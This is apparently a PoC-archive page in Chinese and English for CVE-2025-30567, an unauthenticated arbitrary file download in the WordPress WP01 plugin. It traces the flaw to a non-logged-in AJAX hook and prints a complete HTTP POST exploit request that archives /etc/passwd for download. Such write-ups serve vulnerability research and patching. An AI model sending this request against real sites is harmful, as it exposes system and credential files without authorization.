目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1359 元

100%

CVE-2025-30567 PoC — WordPress plugin WP01 路径遍历漏洞

来源
关联漏洞
标题: WordPress plugin WP01 路径遍历漏洞 (CVE-2025-30567)
Description:WordPress和WordPress plugin都是WordPress基金会的产品。WordPress是一套使用PHP语言开发的博客平台。该平台支持在PHP和MySQL的服务器上架设个人博客网站。WordPress plugin是一个应用插件。 WordPress plugin WP01 2.6.2及之前版本存在路径遍历漏洞,该漏洞源于路径遍历。
Description
Unauthorized Arbitrary File Download in WordPress WP01
介绍
## Introduction

Unauthorized Arbitrary File Download in WordPress WP01!

## Environment setup

Step 1: Download the WP01 Plugin,But...

![alt text](resources/1.png)

Haha, don't worry, here is the source code of the plugin.

Step 2: Package the provided wp01 folder and upload it to the WordPress plugins section.like this-->

![alt text](resources/2.png)

## Analysis

It's simple—the vulnerability is triggered at the following point:

![alt text](resources/3.png)

Next, check where the make_archive method is called.

![alt text](resources/4.png)

Two AJAX action hooks are present—one for logged-in users and another for non-logged-in users. This is the reason for the unauthorized access vulnerability.

Alright, now let's craft the payload to read the contents of /etc/passwd on the local machine.

```
POST /wp-admin/admin-ajax.php?action=wp01_generate_zip_archive HTTP/1.1
Host: 192.168.43.133
accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: cb_lang=zh-cn; PHPSESSID=8b29e9ec5200189ba7e72e98d4c6d017; WS_ADMIN_URL=ws://192.168.43.133/notice; WS_CHAT_URL=ws://192.168.43.133/msg; wordpress_test_cookie=WP%20Cookie%20check; XDEBUG_SESSION=PHPSTORM; wp01-lang=en; wp_lang=en_US
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 24

target=passwd&path=/etc/
```

results:

![alt text](resources/5.png)

![alt text](resources/6.png)

OK, next, download this wp-01-passwd.zip file.

![alt text](resources/7.png)

## Poc

Written based on Pocsuite3, see Poc_CVE-2025-30567.py for details.

![alt text](resources/8.png)

## Reference

[CVE-2025-30567](https://nvd.nist.gov/vuln/detail/CVE-2025-30567)
文件快照

登录后查看神龙缓存的 POC 文件快照

登录查看
备注
    1. 建议优先通过来源进行访问。
    2. 本地 POC 快照面向订阅用户开放;当原始来源失效或无法访问时,本地镜像作为订阅权益的一部分提供。
    3. 持续抓取、验证、维护这份 POC 档案需要不少投入,因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键,由衷感谢。 查看订阅方案 →